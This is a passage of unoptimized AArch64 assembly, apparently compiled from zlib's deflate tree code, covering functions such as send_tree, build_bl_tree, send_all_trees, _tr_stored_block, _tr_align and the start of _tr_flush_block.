lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 72]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 72]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 76]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 76]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 68]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 64]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L608
.L607:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr x0, [sp, 24]
ldrh w0, [x0, 2804]
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 64]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
.L608:
mov w0, 7
str w0, [sp, 80]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 80]
sub w0, w2, w0
cmp w1, w0
ble .L609
ldr w0, [sp, 48]
sub w0, w0, #11
str w0, [sp, 84]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 84]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 88]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 88]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 92]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 92]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 84]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 80]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L595
.L609:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 48]
and w0, w0, 65535
sub w0, w0, #11
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 80]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L595
.L616:
nop
.L595:
str wzr, [sp, 48]
ldr w0, [sp, 60]
str w0, [sp, 40]
ldr w0, [sp, 44]
cmp w0, 0
bne .L610
mov w0, 138
str w0, [sp, 52]
mov w0, 3
str w0, [sp, 56]
b .L588
.L610:
ldr w1, [sp, 60]
ldr w0, [sp, 44]
cmp w1, w0
bne .L611
mov w0, 6
str w0, [sp, 52]
mov w0, 3
str w0, [sp, 56]
b .L588
.L611:
mov w0, 7
str w0, [sp, 52]
mov w0, 4
str w0, [sp, 56]
b .L588
.L615:
nop
.L588:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L585:
ldr w1, [sp, 36]
ldr w0, [sp, 12]
cmp w1, w0
ble .L612
nop
add sp, sp, 192
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE58:
.size send_tree, .-send_tree
.align 2
.type build_bl_tree, %function
build_bl_tree:
.LFB59:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
add x1, x0, 196
ldr x0, [sp, 24]
ldr w0, [x0, 2896]
mov w2, w0
ldr x0, [sp, 24]
bl scan_tree
ldr x0, [sp, 24]
add x1, x0, 2488
ldr x0, [sp, 24]
ldr w0, [x0, 2920]
mov w2, w0
ldr x0, [sp, 24]
bl scan_tree
ldr x0, [sp, 24]
add x0, x0, 2936
mov x1, x0
ldr x0, [sp, 24]
bl build_tree
mov w0, 18
str w0, [sp, 44]
b .L618
.L621:
adrp x0, bl_order
add x1, x0, :lo12:bl_order
ldrsw x0, [sp, 44]
ldrb w0, [x1, x0]
ldr x1, [sp, 24]
sxtw x0, w0
add x0, x0, 680
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 14]
cmp w0, 0
bne .L623
ldr w0, [sp, 44]
sub w0, w0, #1
str w0, [sp, 44]
.L618:
ldr w0, [sp, 44]
cmp w0, 2
bgt .L621
b .L620
.L623:
nop
.L620:
ldr x0, [sp, 24]
ldr x2, [x0, 5896]
ldr w0, [sp, 44]
add w1, w0, 1
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w0, w0, 14
sxtw x0, w0
add x1, x2, x0
ldr x0, [sp, 24]
str x1, [x0, 5896]
ldr w0, [sp, 44]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE59:
.size build_bl_tree, .-build_bl_tree
.align 2
.type send_all_trees, %function
send_all_trees:
.LFB60:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str w2, [sp, 32]
str w3, [sp, 28]
mov w0, 5
str w0, [sp, 64]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 64]
sub w0, w2, w0
cmp w1, w0
ble .L625
ldr w0, [sp, 36]
sub w0, w0, #257
str w0, [sp, 68]
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 68]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 72]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldrh w2, [x0, 5920]
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 72]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 76]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 76]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 68]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
ldr w0, [sp, 64]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 5924]
b .L626
.L625:
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 36]
and w0, w0, 65535
sub w0, w0, #257
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
ldr w0, [sp, 64]
add w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 5924]
.L626:
mov w0, 5
str w0, [sp, 80]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 80]
sub w0, w2, w0
cmp w1, w0
ble .L627
ldr w0, [sp, 32]
sub w0, w0, #1
str w0, [sp, 84]
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 84]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 88]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldrh w2, [x0, 5920]
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 88]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 92]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 92]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 84]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
ldr w0, [sp, 80]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 5924]
b .L628
.L627:
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 32]
and w0, w0, 65535
sub w0, w0, #1
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
ldr w0, [sp, 80]
add w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 5924]
.L628:
mov w0, 4
str w0, [sp, 96]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 96]
sub w0, w2, w0
cmp w1, w0
ble .L629
ldr w0, [sp, 28]
sub w0, w0, #4
str w0, [sp, 100]
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 100]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 104]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldrh w2, [x0, 5920]
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 104]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 108]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 108]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 100]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
ldr w0, [sp, 96]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 5924]
b .L630
.L629:
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 28]
and w0, w0, 65535
sub w0, w0, #4
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
ldr w0, [sp, 96]
add w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 5924]
.L630:
str wzr, [sp, 60]
b .L631
.L634:
mov w0, 3
str w0, [sp, 112]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 112]
sub w0, w2, w0
cmp w1, w0
ble .L632
adrp x0, bl_order
add x1, x0, :lo12:bl_order
ldrsw x0, [sp, 60]
ldrb w0, [x1, x0]
ldr x1, [sp, 40]
sxtw x0, w0
add x0, x0, 680
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 14]
str w0, [sp, 116]
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 116]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 120]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldrh w2, [x0, 5920]
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 120]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 124]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 124]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 116]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
ldr w0, [sp, 112]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 5924]
b .L633
.L632:
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
sxth w1, w0
adrp x0, bl_order
add x2, x0, :lo12:bl_order
ldrsw x0, [sp, 60]
ldrb w0, [x2, x0]
ldr x2, [sp, 40]
sxtw x0, w0
add x0, x0, 680
lsl x0, x0, 2
add x0, x2, x0
ldrh w0, [x0, 14]
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
ldr w0, [sp, 112]
add w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 5924]
.L633:
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L631:
ldr w1, [sp, 60]
ldr w0, [sp, 28]
cmp w1, w0
blt .L634
ldr x0, [sp, 40]
add x1, x0, 196
ldr w0, [sp, 36]
sub w0, w0, #1
mov w2, w0
ldr x0, [sp, 40]
bl send_tree
ldr x0, [sp, 40]
add x1, x0, 2488
ldr w0, [sp, 32]
sub w0, w0, #1
mov w2, w0
ldr x0, [sp, 40]
bl send_tree
nop
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE60:
.size send_all_trees, .-send_all_trees
.align 2
.global _tr_stored_block
.hidden _tr_stored_block
.type _tr_stored_block, %function
_tr_stored_block:
.LFB61:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
str w3, [sp, 20]
mov w0, 3
str w0, [sp, 48]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 48]
sub w0, w2, w0
cmp w1, w0
ble .L637
ldr w0, [sp, 20]
str w0, [sp, 52]
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 52]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 56]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldrh w2, [x0, 5920]
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 56]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 60]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 60]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 52]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
ldr w0, [sp, 48]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 5924]
b .L638
.L637:
ldr x0, [sp, 40]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 20]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
ldr w0, [sp, 48]
add w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 5924]
.L638:
ldr x0, [sp, 24]
mov w3, 1
mov w2, w0
ldr x1, [sp, 32]
ldr x0, [sp, 40]
bl copy_block
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE61:
.size _tr_stored_block, .-_tr_stored_block
.align 2
.global _tr_flush_bits
.hidden _tr_flush_bits
.type _tr_flush_bits, %function
_tr_flush_bits:
.LFB62:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl bi_flush
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE62:
.size _tr_flush_bits, .-_tr_flush_bits
.align 2
.global _tr_align
.hidden _tr_align
.type _tr_align, %function
_tr_align:
.LFB63:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
mov w0, 3
str w0, [sp, 32]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 32]
sub w0, w2, w0
cmp w1, w0
ble .L643
mov w0, 2
str w0, [sp, 36]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 36]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 40]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 40]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 44]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 44]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 36]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 32]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L644
.L643:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w2, 2
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 32]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
.L644:
mov w0, 7
str w0, [sp, 48]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 48]
sub w0, w2, w0
cmp w1, w0
ble .L645
mov w0, 0
str w0, [sp, 52]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 52]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 56]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 56]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 60]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 60]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 52]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 48]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L646
.L645:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
mov w0, 0
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 48]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
.L646:
ldr x0, [sp, 24]
bl bi_flush
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE63:
.size _tr_align, .-_tr_align
.align 2
.global _tr_flush_block
.hidden _tr_flush_block
.type _tr_flush_block, %function
_tr_flush_block:
.LFB64:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -112
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str w3, [sp, 36]
str wzr, [sp, 76]
ldr x0, [sp, 56]
ldr w0, [x0, 180]
cmp w0, 0
ble .L649
ldr x0, [sp, 56]
ldr x0, [x0]
ldr w0, [x0, 88]
cmp w0, 2
bne .L650
ldr x0, [sp, 56]
ldr x19, [x0]
ldr x0, [sp, 56]
bl detect_data_type
str w0, [x19, 88]
.L650:
ldr x0, [sp, 56]
add x0, x0, 2888
mov x1, x0
ldr x0, [sp, 56]
bl build_tree
ldr x0, [sp, 56]
add x0, x0, 2912
mov x1, x0
ldr x0, [sp, 56]
bl build_tree
ldr x0, [sp, 56]
bl build_bl_tree
str w0, [sp, 76]
ldr x0, [sp, 56]
ldr x0, [x0, 5896]
add x0, x0, 10
lsr x0, x0, 3
str x0, [sp, 112]
ldr x0, [sp, 56]
ldr x0, [x0, 5904]
add x0, x0, 10
lsr x0, x0, 3
str x0, [sp, 120]
ldr x1, [sp, 120]
ldr x0, [sp, 112]
cmp x1, x0
bhi .L651
ldr x0, [sp, 120]
str x0, [sp, 112]
b .L651
.L649:
ldr x0, [sp, 40]
add x0, x0, 5
str x0, [sp, 120]
ldr x0, [sp, 120]
str x0, [sp, 112]
.L651:
ldr x0, [sp, 40]
add x0, x0, 4
ldr x1, [sp, 112]
cmp x1, x0
bcc .L664
ldr x0, [sp, 48]
cmp x0, 0
beq .L665
ldr w3, [sp, 36]
ldr x2, [sp, 40]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl _tr_stored_block
b .L654
.L664:
nop
b .L652
.L665:
nop
.L652:
ldr x0, [sp, 56]
ldr w0, [x0, 184]
cmp w0, 4
beq .L666
ldr x1, [sp, 120]
ldr x0, [sp, 112]
cmp x1, x0
bne .L657
b .L656
.L666:
nop
.L656:
mov w0, 3
str w0, [sp, 96]
ldr x0, [sp, 56]
